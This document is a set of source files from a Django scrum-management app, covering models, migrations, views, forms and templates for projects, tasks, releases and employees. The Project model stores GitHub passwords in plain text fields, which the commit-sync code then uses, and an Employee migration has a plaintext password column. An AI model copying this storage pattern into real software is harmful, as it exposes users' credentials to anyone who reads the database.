category = models.IntegerField(choices=Category.choices, default=Category.Analysis, null=True, blank=True)
responsible = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='responsible_tasks')
assignee = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, related_name='assigned_tasks')
estimation = models.DecimalField(default=0.0, decimal_places=2, max_digits=15)
start_date = models.DateField(default=None)
end_date = models.DateField(default=None, null=True, blank=True)
priority = models.IntegerField(choices=Priority.choices, default=Priority.High, null=True)
assigned_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='assigned_by_tasks')
assign_date = models.DateField(default=None, null=True, blank=True)
approved_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='approved_by_tasks')
approved_date = models.DateField(default=None, null=True, blank=True)
status = models.IntegerField(choices=TaskStatus.choices, default=TaskStatus.Pending)
parent_task = models.ForeignKey("self", on_delete=models.SET_NULL, blank=True, default=None, null=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("update_task_status", "Can Update Status of Task"),
("task_history", "Can See Task History"),
)
<file_sep>/scrumate/core/project/filters.py
import django_filters
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
class ProjectFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
class Meta:
model = Project
fields = ['name']
class ProjectStatusFilter(django_filters.FilterSet):
project = django_filters.ModelChoiceFilter(queryset=Project.objects.all())
class Meta:
model = Release
fields = ['project']
<file_sep>/scrumate/core/project/models.py
import datetime
from decimal import Decimal
from django.contrib.auth import get_user_model
from django.db import models
from django.db.models import Sum, Q
from simple_history.models import HistoricalRecords
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.project.choices import ProjectType, ProjectStatus
from scrumate.general.source_control import get_commit_messages
from scrumate.people.models import Client
User = get_user_model()
class Project(models.Model):
name = models.CharField(max_length=500)
description = models.TextField(default='')
type = models.IntegerField(choices=ProjectType.choices, default=ProjectType.Public)
status = models.IntegerField(choices=ProjectStatus.choices, default=ProjectStatus.Pending)
client = models.ForeignKey(Client, on_delete=models.SET_NULL, default=None, null=True, blank=True)
entry_date = models.DateField("Entry Date", default=datetime.date.today)
git_username = models.CharField(verbose_name='Github Username', max_length=50, null=True, blank=True)
git_password = models.CharField(verbose_name='Github Password', max_length=50, null=True, blank=True)
git_repo = models.CharField(verbose_name='Github Repo', max_length=100, null=True, blank=True)
last_sync_time = models.DateTimeField(null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("update_project_status", "Can Update Status of Project"),
("view_commit_logs", "Can View Commit Logs of Project"),
("project_status_report", "Can See Project Status Report"),
("project_status_report_download", "Can Download Project Status Report"),
("project_members", "Can See Members of a Project"),
("assign_deliverable", "Can Assign Deliverables"),
("project_history", "Can See Project History"),
)
@property
def commit_messages(self):
return get_commit_messages(self)
def commit_messages_since(self, since=None):
return get_commit_messages(self, since=since)
@property
def can_view_commit(self):
return self.git_username and self.git_password and self.git_repo
@property
def total_point(self):
from scrumate.core.deliverable.models import Deliverable
return round(Deliverable.objects.filter(~Q(status=DeliverableStatus.Rejected), task__project=self)\
.aggregate(total_point=Sum('estimated_hour')).get('total_point') or Decimal(0), 2)
@property
def percent_completed(self):
from scrumate.core.deliverable.models import Deliverable
total = self.total_point or Decimal(1)
total_done = Deliverable.objects.filter(Q(status=DeliverableStatus.Done) | Q(status=DeliverableStatus.Delivered), task__project=self).aggregate(total_point=Sum('estimated_hour')).get('total_point') or Decimal(0)
return round((total_done * Decimal(100)) / total, 2)
class ProjectCommitLog(models.Model):
project = models.ForeignKey(Project, on_delete=models.CASCADE, related_name='commit_log')
sha = models.CharField(max_length=256, unique=True)
message = models.CharField(max_length=256)
date = models.DateTimeField()
author_name = models.CharField(max_length=128)
author_email = models.CharField(max_length=128)
url = models.URLField(max_length=128)
html_url = models.URLField(max_length=128)
history = HistoricalRecords()
class OverTime(models.Model):
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True)
work_date = models.DateField(default=None)
description = models.TextField(default='')
assignee = models.ForeignKey(User, on_delete=models.SET_NULL, default=None, null=True, related_name='assignee_over_times')
assigned_by = models.ForeignKey(User, on_delete=models.SET_NULL, default=None, null=True, related_name='assigned_by_over_times')
comment = models.TextField(default='')
status = models.IntegerField(choices=DeliverableStatus.choices, default=DeliverableStatus.Pending)
history = HistoricalRecords()
class Meta:
permissions = (
("over_time_history", "Can See Over Time History"),
)
<file_sep>/scrumate/people/migrations/0001_initial.py
# Generated by Django 2.2.1 on 2019-05-09 13:36
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Department',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
],
),
migrations.CreateModel(
name='Division',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(max_length=50)),
('description', models.TextField(default='')),
],
),
migrations.CreateModel(
name='Party',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.IntegerField(blank=True, choices=[(1, 'Mr.'), (2, 'Mrs.'), (3, 'Miss')], default=1, null=True)),
('first_name', models.CharField(max_length=100)),
('last_name', models.CharField(blank=True, max_length=100, null=True)),
('full_name', models.CharField(blank=True, max_length=200)),
('nick_name', models.CharField(blank=True, max_length=100, null=True)),
('email', models.CharField(max_length=100, null=True)),
('phone', models.CharField(max_length=100, null=True)),
('code', models.CharField(blank=True, max_length=100, null=True)),
('address_line_1', models.CharField(max_length=100, null=True)),
('address_line_2', models.CharField(blank=True, max_length=100, null=True)),
('address_line_3', models.CharField(blank=True, max_length=100, null=True)),
('address_line_4', models.CharField(blank=True, max_length=100, null=True)),
],
),
migrations.CreateModel(
name='Client',
fields=[
('party_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='people.Party')),
('type', models.IntegerField(choices=[(1, 'Employee'), (2, 'Customer'), (3, 'Vendor')], default=2)),
('sub_type', models.IntegerField(choices=[(1, 'Individual'), (2, 'Organization')], default=2)),
],
bases=('people.party',),
),
migrations.CreateModel(
name='Designation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('rank', models.IntegerField(blank=True, default=None, null=True)),
('department', models.ForeignKey(default=None, on_delete=django.db.models.deletion.DO_NOTHING, to='people.Department')),
('parent', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Designation')),
],
),
migrations.CreateModel(
name='Employee',
fields=[
('party_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='people.Party')),
('type', models.IntegerField(choices=[(1, 'Employee'), (2, 'Customer'), (3, 'Vendor')], default=1)),
('gender', models.IntegerField(choices=[(1, 'Male'), (2, 'Female')], default=1)),
('username', models.CharField(max_length=100)),
('password', models.CharField(max_length=100)),
('department', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Department')),
('designation', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Designation')),
('user', models.OneToOneField(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='employee', to=settings.AUTH_USER_MODEL)),
],
bases=('people.party',),
),
]
<file_sep>/scrumate/core/issue/urls.py
from django.urls import path
from scrumate.core.issue import views
urlpatterns = [
path('', views.issue_list, name='issue_list'),
path('add/', views.issue_add, name='issue_add'),
path('<int:pk>/', views.IssueDetailView.as_view(), name='issue_view'),
path('<int:pk>/edit/', views.issue_edit, name='issue_edit'),
path('<int:pk>/update_status/', views.update_issue_status, name='update_issue_status'),
path('<int:pk>/history/', views.IssueHistoryList.as_view(), name='issue_history'),
]
<file_sep>/scrumate/templates/people/employee_list.html
{% extends 'general/index_settings.html' %}
{% block content %}
<form method="get">
{{ filter.form.as_table }}
<button class="btn btn-outline-dark active" type="submit">Search</button>
</form>
<div class="animated fadeIn pt-2">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-header text-white bg-xing">
<i class="fa fa-list fa-lg"></i> Employee
{% if user.is_authenticated %}
<a class="float-right" href="{% url 'employee_add' %}">
<i class="fa fa-plus-square-o fa-lg font-2xl text-white"></i>
</a>
{% endif %}
</div>
<div class="card-body">
<table class="table table-responsive-sm table-bordered">
<thead>
<tr>
<th>S/L</th>
<th>Name</th>
<th>Email</th>
<th>Phone</th>
<th>Department</th>
<th>Designation</th>
<th>Action</th>
</tr>
</thead>
<tbody>
{% for emp in employees %}
<tr>
<td>{{ forloop.counter }}</td>
<td>
<a href="{% url 'employee_view' emp.id %}">
{{ emp.full_name }}</a>
</td>
<td>{{ emp.email }}</td>
<td>{{ emp.phone }}</td>
<td>{{ emp.department.name }}</td>
<td>{{ emp.designation.name }}</td>
<td>
<a class="float-right ml-1" href="{% url 'employee_history' emp.id %}">
<i class="fa fa-history fa-lg"></i></a>
<a class="float-right mr-1" href="{% url 'employee_edit' emp.id %}">
<i class="fa fa-edit fa-lg"></i></a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
{% if employees.has_other_pages %}
<ul class="pagination">
{% if employees.has_previous %}
<li class="page-item"><a class="page-link" href="?page={{ employees.previous_page_number }}">«</a></li>
{% else %}
<li class="page-item disabled"><span class="page-link">«</span></li>
{% endif %}
{% for i in employees.paginator.page_range %}
{% if employees.number == i %}
<li class="page-item active"><span class="page-link">{{ i }} <span class="sr-only">(current)</span></span></li>
{% else %}
<li class="page-item"><a class="page-link" href="?page={{ i }}">{{ i }}</a></li>
{% endif %}
{% endfor %}
{% if employees.has_next %}
<li class="page-item"><a class="page-link" href="?page={{ employees.next_page_number }}">»</a></li>
{% else %}
<li class="page-item disabled"><span class="page-link">»</span></li>
{% endif %}
</ul>
{% endif %}
</div>
</div>
</div>
</div>
</div>
{% endblock %}
<file_sep>/scrumate/templates/core/sprint/sprint_view.html
{% extends 'general/index_project_view.html' %}
{% block content %}
<div class="animated fadeIn">
<div class="row">
<div class="col-sm-12 col-lg-12">
<div class="card text-white bg-xing">
<div class="chart-wrapper mt-3 mx-3" style="height:70px;">
<p style="text-align: center;">
<span class="float-left medium-text mt-2">
<a class="text-white" href="{% url 'sprint_add' project_id=project.id %}"><i class="fa fa-plus fa-lg"></i></a>
</span>
<span class="large-text">{% if running_sprint.is_current %}Currently Running Sprint : {% else %}Sprint : {% endif %}{{ running_sprint.name }}</span>
<span class="float-right medium-text mt-2">
<a class="text-white" href="{% url 'sprint_list' project_id=project.id %}"><i class="fa fa-list fa-lg"></i></a>
</span>
</p>
</div>
</div>
</div>
</div>
</div>
<div class="animated fadeIn pt-2">
<div class="row">
<div class="col-lg-4">
<div class="card">
<div class="card-header text-white" style="background-color: #332211;">
<i class="fa fa-list fa-lg"></i> Pending
</div>
<div class="card-body">
<table class="table table-responsive-sm table-bordered">
<thead></thead>
<tbody>
{% for pend in pending %}
<tr>
<td>{{ forloop.counter }}</td>
<td>{{ pend.name }} - {{ pend.estimated_hour }}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card">
<div class="card-header text-white" style="background-color: #112233;">
<i class="fa fa-list fa-lg"></i> In-Progress
</div>
<div class="card-body">
<table class="table table-responsive-sm table-bordered">
<thead></thead>
<tbody>
{% for inp in in_progress %}
<tr>
<td>{{ forloop.counter }}</td>
<td>{{ inp.name }} - {{ inp.estimated_hour }}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card">
<div class="card-header text-white" style="background-color: green;">
<i class="fa fa-list fa-lg"></i> Done
</div>
<div class="card-body">
<table class="table table-responsive-sm table-bordered">
<thead></thead>
<tbody>
{% for done_task in done %}
<tr>
<td>{{ forloop.counter }}</td>
<td>{{ done_task.name }} - {{ done_task.estimated_hour }}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
{% endblock %}
<file_sep>/scrumate/core/release/models.py
from django.db import models
from django.contrib.auth import get_user_model
from simple_history.models import HistoricalRecords
from scrumate.core.project.models import Project
User = get_user_model()
class Release(models.Model):
name = models.CharField(max_length=500)
description = models.TextField(default='', null=True, blank=True)
version = models.CharField(max_length=100, null=True)
project = models.ForeignKey(Project, on_delete=models.CASCADE)
release_date = models.DateField(default=None)
delivery_date = models.DateField(default=None, null=True, blank=True)
release_log = models.TextField(default=None, null=True, blank=True)
created_by = models.ForeignKey(User, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='created_releases')
approved_by = models.ForeignKey(User, on_delete=models.SET_NULL, default=None, null=True, blank=True, related_name='approved_releases')
comment = models.TextField(default='', null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("release_history", "Can See Release History"),
)
<file_sep>/scrumate/core/task/urls.py
from django.urls import path
from scrumate.core.task import views
from scrumate.core.task import api
urlpatterns = [
path('', views.task_list, name='task_list'),
path('add/', views.task_add, name='task_add'),
path('<int:pk>/', views.TaskDetailView.as_view(), name='task_view'),
path('<int:pk>/edit/', views.task_edit, name='task_edit'),
path('<int:pk>/update_status/', views.update_task_status, name='update_task_status'),
path('<int:pk>/history/', views.TaskHistoryList.as_view(), name='task_history'),
#API
path('<int:pk>/task_info/', api.task_info, name='task_info'),
]
<file_sep>/scrumate/general/source_control.py
from github import Github
from github.GithubObject import NotSet
def get_commit_messages(project, since=None):
github = Github(project.git_username, project.git_password)
if not since:
since = NotSet
return github.get_user().get_repo(project.git_repo).get_commits(since=since)
<file_sep>/scrumate/core/issue/filters.py
import django_filters
from django.forms import DateInput
from scrumate.core.issue.models import Issue
class IssueFilter(django_filters.FilterSet):
raise_date = django_filters.DateFilter(widget=DateInput(attrs={'type': 'date'}))
class Meta:
model = Issue
fields = ['name', 'project', 'raise_date']
<file_sep>/scrumate/core/admin.py
from django.contrib import admin
from simple_history.admin import SimpleHistoryAdmin
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.project.models import ProjectCommitLog, Project
from scrumate.core.release.models import Release
from scrumate.core.sprint.models import Sprint
from scrumate.core.task.models import Task
from scrumate.core.user_story.models import UserStory
admin.site.register(Project, SimpleHistoryAdmin)
admin.site.register(ProjectCommitLog, SimpleHistoryAdmin)
admin.site.register(Release, SimpleHistoryAdmin)
admin.site.register(UserStory, SimpleHistoryAdmin)
# admin.site.register(Division)
# admin.site.register(Dashboard)
# admin.site.register(Portlet)
# admin.site.register(DashboardPortlet)
# admin.site.register(Priority)
# admin.site.register(Label)
# admin.site.register(Issue)
admin.site.register(Sprint, SimpleHistoryAdmin)
admin.site.register(Task, SimpleHistoryAdmin)
admin.site.register(Deliverable, SimpleHistoryAdmin)
# admin.site.register(DailyScrum)
# admin.site.register(OverTime)
# admin.site.register(Party)
<file_sep>/scrumate/core/user_story/forms.py
from django.forms import ModelForm, Textarea, DateInput
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.release.models import Release
from scrumate.core.project.models import Project
from scrumate.core.user_story.models import UserStory
from scrumate.core.user_story.choices import UserStoryStatus
from scrumate.people.models import Employee
class UserStoryForm(ModelForm):
class Meta:
model = UserStory
fields = '__all__'
exclude = ('description', 'comment', 'code', 'analysed_by', 'approved_by', 'project')
widgets = {
'summary': Textarea(attrs={'cols': 25, 'rows': 1}),
'details': Textarea(attrs={'cols': 25, 'rows': 3}),
'start_date': DateInput(attrs={'type': 'date'}),
'end_date': DateInput(attrs={'type': 'date'}),
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'release': ModelSelect2Widget(model=Release, search_fields=['name__icontains'],
dependent_fields={'project': 'project'}, max_results=500),
'analysed_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'approved_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'status': Select2Widget(choices=UserStoryStatus.choices),
}
<file_sep>/scrumate/core/project/views.py
from django.conf import settings
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.db.utils import IntegrityError
from django.contrib import messages
from django.http import HttpResponseRedirect
from django.shortcuts import render, redirect, get_object_or_404
from django.urls import reverse
from scrumate.core.project.filters import ProjectFilter
from scrumate.core.project.forms import ProjectForm
from scrumate.core.project.models import Project, ProjectCommitLog
from scrumate.general.decorators import admin_user
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def project_list(request, **kwargs):
project_filter = ProjectFilter(request.GET, queryset=Project.objects.all())
project_list = project_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(project_list, settings.PAGE_SIZE)
try:
projects = paginator.page(page)
except PageNotAnInteger:
projects = paginator.page(1)
except EmptyPage:
projects = paginator.page(paginator.num_pages)
return render(request, 'core/projects/project_list.html', {'projects': projects, 'filter': project_filter})
@admin_user
@login_required(login_url='/login/')
def project_add(request, **kwargs):
if request.method == 'POST':
form = ProjectForm(request.POST)
if form.is_valid():
project = form.save()
messages.success(request, f'Project {project.name} created successfully!')
return redirect('project_list', permanent=True)
else:
messages.success(request, f'Invalid data!')
else:
form = ProjectForm()
title = 'New Project'
return render(request, 'core/projects/project_add.html', {'form': form, 'title': title, 'list_url_name': 'project_list'})
@admin_user
@login_required(login_url='/login/')
def project_edit(request, project_id, **kwargs):
instance = get_object_or_404(Project, id=project_id)
form = ProjectForm(request.POST or None, instance=instance)
if form.is_valid():
project = form.save()
messages.success(request, f'Project {project.name} updated successfully!')
return redirect('project_list')
else:
messages.success(request, f'Invalid data!')
title = 'Edit Project'
return render(request, 'core/projects/project_add.html', {'form': form, 'title': title, 'list_url_name': 'project_list'})
@login_required(login_url='/login/')
@permission_required('core.update_project_status', raise_exception=True)
def update_project_status(request, project_id, **kwargs):
instance = get_object_or_404(Project, id=project_id)
form = ProjectForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, f'Project status updated successfully!')
return redirect('project_list')
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[3],
'title': 'Update Status',
'url': reverse('project_list', kwargs={'project_id': project_id}),
'project': instance,
'base_template': 'general/index_project_view.html'
})
@login_required(login_url='/login/')
@permission_required('core.view_commit_logs', raise_exception=True)
def view_commit_logs(request, project_id, **kwargs):
project = get_object_or_404(Project, id=project_id)
commit_log = project.commit_log
page = request.GET.get('page', 1)
paginator = Paginator(commit_log.order_by('-date').all(), settings.PAGE_SIZE)
try:
commit_log = paginator.page(page)
except PageNotAnInteger:
commit_log = paginator.page(1)
except EmptyPage:
commit_log = paginator.page(paginator.num_pages)
return render(request, 'core/projects/commit_logs.html', {
'project': project,
'commit_log': commit_log
})
@login_required(login_url='/login/')
@permission_required('core.view_commit_logs', raise_exception=True)
def sync_commit(request, project_id, **kwargs):
project = get_object_or_404(Project, id=project_id)
commit_list = project.commit_messages_since(since=project.last_sync_time).reversed
last_date = None
for commit in commit_list:
_commit = commit.commit
author = _commit.author
log = ProjectCommitLog(
project=project,
sha=_commit.sha,
message=_commit.message,
date=author.date,
author_name=author.name,
author_email=author.email,
url=_commit.url,
html_url=_commit.html_url
)
try:
log.save()
except IntegrityError as e:
print(e)
last_date = author.date
if last_date:
project.last_sync_time = last_date
project.save()
return HttpResponseRedirect(reverse('view_commit_logs', kwargs={'project_id': project.id}))
class ProjectHistoryList(HistoryList):
permission_required = 'scrumate.core.project_history'
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Project.history.filter(id=self.get_project_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
context['project'] = project
context['title'] = f'History of {project.name}'
context['back_url'] = reverse('project_list')
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/conftest.py
import pytest
@pytest.fixture(scope='session')
def django_db_modify_db_settings():
pass
@pytest.fixture(scope='session')
def func():
return 1
<file_sep>/scrumate/core/migrations/0016_sprint_project.py
# Generated by Django 2.2.2 on 2019-06-05 07:18
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0015_delete_dailyscrum'),
]
operations = [
migrations.AddField(
model_name='sprint',
name='project',
field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Project'),
),
]
<file_sep>/scrumate/core/user_story/filters.py
import django_filters
from scrumate.core.user_story.models import UserStory
class UserStoryFilter(django_filters.FilterSet):
summary = django_filters.CharFilter(label='Story')
class Meta:
model = UserStory
fields = ['summary', 'release']
<file_sep>/scrumate/core/deliverable/views.py
from datetime import datetime
from django.conf import settings
from django.contrib import messages
from django.shortcuts import render, redirect, reverse, get_object_or_404
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.views.generic import DetailView
from scrumate.core.deliverable.filters import DeliverableFilter
from scrumate.core.deliverable.forms import DeliverableForm
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.project.models import Project
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def deliverable_list(request, project_id, **kwargs):
deliverable_filter = DeliverableFilter(request.GET, queryset=Deliverable.objects.filter(project_id=project_id).order_by('-id'))
deliverable_list = deliverable_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(deliverable_list, settings.PAGE_SIZE)
try:
deliverables = paginator.page(page)
except PageNotAnInteger:
deliverables = paginator.page(1)
except EmptyPage:
deliverables = paginator.page(paginator.num_pages)
project = Project.objects.get(pk=project_id)
return render(request, 'core/deliverable/deliverable_list.html', {'deliverables': deliverables, 'filter': deliverable_filter, 'project': project})
@login_required(login_url='/login/')
def deliverable_add(request, project_id, **kwargs):
if request.method == 'POST':
form = DeliverableForm(request.POST)
if form.is_valid():
deliverable = form.save(commit=False)
deliverable.assign_date = datetime.today()
deliverable.project_id = project_id
deliverable.save()
messages.success(request, "Deliverable added successfully!")
return redirect('deliverable_list', permanent=True, project_id=project_id)
else:
form = DeliverableForm()
title = 'New Deliverable'
project = Project.objects.get(pk=project_id)
return render(request, 'core/deliverable/deliverable_add.html',
{'form': form, 'title': title, 'list_url_name': 'deliverable_list', 'project': project})
@login_required(login_url='/login/')
def deliverable_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(Deliverable, id=pk)
form = DeliverableForm(request.POST or None, instance=instance)
if form.is_valid():
form.save()
messages.success(request, "Deliverable updated successfully!")
return redirect('deliverable_list', project_id=project_id)
title = 'Edit Deliverable'
project = Project.objects.get(pk=project_id)
return render(request, 'core/deliverable/deliverable_add.html',
{'form': form, 'title': title, 'list_url_name': 'deliverable_list', 'project': project})
@login_required(login_url='/login/')
@permission_required('core.update_deliverable_status', raise_exception=True)
def update_deliverable_status(request, project_id, pk, **kwargs):
instance = get_object_or_404(Deliverable, id=pk)
form = DeliverableForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, "Deliverable status updated successfully!")
return redirect('deliverable_list', project_id=project_id)
project = Project.objects.get(pk=project_id)
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[8],
'title': 'Update Status',
'url': reverse('deliverable_list', kwargs={'project_id': project_id}),
'project': project,
'base_template': 'general/index_project_view.html'
})
class DeliverableHistoryList(HistoryList):
permission_required = 'scrumate.core.deliverable_history'
def get_deliverable_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Deliverable.history.filter(id=self.get_deliverable_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
deliverable = Deliverable.objects.get(pk=self.get_deliverable_id())
context['project'] = project
context['title'] = f'History of {deliverable.name}'
context['back_url'] = reverse('deliverable_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class DeliverableDetailView(DetailView):
queryset = Deliverable.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'deliverable'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = DeliverableForm(instance=instance)
context['edit_url'] = reverse('deliverable_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('deliverable_list', kwargs={'project_id': project_id})
context['title'] = instance.name
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/README.md
# scrumate
This is a software to maintain the scrum software development process.
<file_sep>/scrumate/core/member/forms.py
from django.forms import ModelForm
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.member.choices import ProjectMemberRole
from scrumate.core.member.models import ProjectMember
from scrumate.core.project.models import Project
from scrumate.people.models import Employee
class ProjectMemberForm(ModelForm):
class Meta:
model = ProjectMember
fields = '__all__'
exclude = ('project', )
widgets = {
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'user': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'role': Select2Widget(choices=ProjectMemberRole.choices),
}
<file_sep>/scrumate/core/issue/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.project.models import Project
from scrumate.core.user_story.models import UserStory
from scrumate.people.models import Employee
class Issue(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50, blank=True, null=True)
description = models.TextField(default='', blank=True, null=True)
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True)
user_story = models.ForeignKey(UserStory, on_delete=models.SET_NULL, default=None, null=True, blank=True)
raise_date = models.DateField(default=None)
resolve_date = models.DateField(default=None, blank=True, null=True)
raised_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, blank=True, null=True, related_name='raised_issues')
approved_by = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, blank=True, null=True, related_name='approved_issues')
comment = models.TextField(default='', blank=True, null=True)
status = models.IntegerField(choices=DeliverableStatus.choices, default=DeliverableStatus.Pending)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("update_issue_status", "Can Update Status of Issue"),
("issue_history", "Can See Issue History"),
)
<file_sep>/scrumate/core/task/filters.py
import django_filters
from scrumate.core.task.models import Task
class TaskFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
class Meta:
model = Task
fields = ['name', 'project', 'category', 'responsible']
<file_sep>/scrumate/core/project/urls.py
from django.urls import path
from scrumate.core.project import views
urlpatterns = [
path('', views.project_list, name='project_list'),
path('add/', views.project_add, name='project_add'),
path('<int:project_id>/edit/', views.project_edit, name='project_edit'),
path('<int:project_id>/update_status/', views.update_project_status, name='update_project_status'),
path('<int:project_id>/view_commit_logs/', views.view_commit_logs, name='view_commit_logs'),
path('<int:project_id>/sync_commit/', views.sync_commit, name='sync_commit'),
path('<int:project_id>/history/', views.ProjectHistoryList.as_view(), name='project_history'),
]
<file_sep>/scrumate/core/migrations/0017_historicaldeliverable_historicalissue_historicalovertime_historicalproject_historicalprojectcommitlo.py
# Generated by Django 2.2.2 on 2019-06-21 16:59
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import simple_history.models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('people', '0003_historicaluser'),
('core', '0016_sprint_project'),
]
operations = [
migrations.CreateModel(
name='HistoricalUserStory',
fields=[
('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')),
('summary', models.TextField(default='', verbose_name='Title')),
('details', models.TextField(blank=True, default='', null=True)),
('code', models.CharField(blank=True, default='', max_length=100, null=True)),
('start_date', models.DateField(blank=True, default=None, null=True)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'Analysing'), (3, 'Analysis Complete'), (4, 'Developing'), (5, 'Development Complete'), (6, 'Delivered')], default=1, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('history_id', models.AutoField(primary_key=True, serialize=False)),
('history_date', models.DateTimeField()),
('history_change_reason', models.CharField(max_length=100, null=True)),
('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)),
('analysed_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('approved_by', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='people.Employee')),
('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Project')),
('release', models.ForeignKey(blank=True, db_constraint=False, default=None, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='core.Release')),
],
options={
'verbose_name': 'historical user story',
'ordering': ('-history_date', '-history_id'),
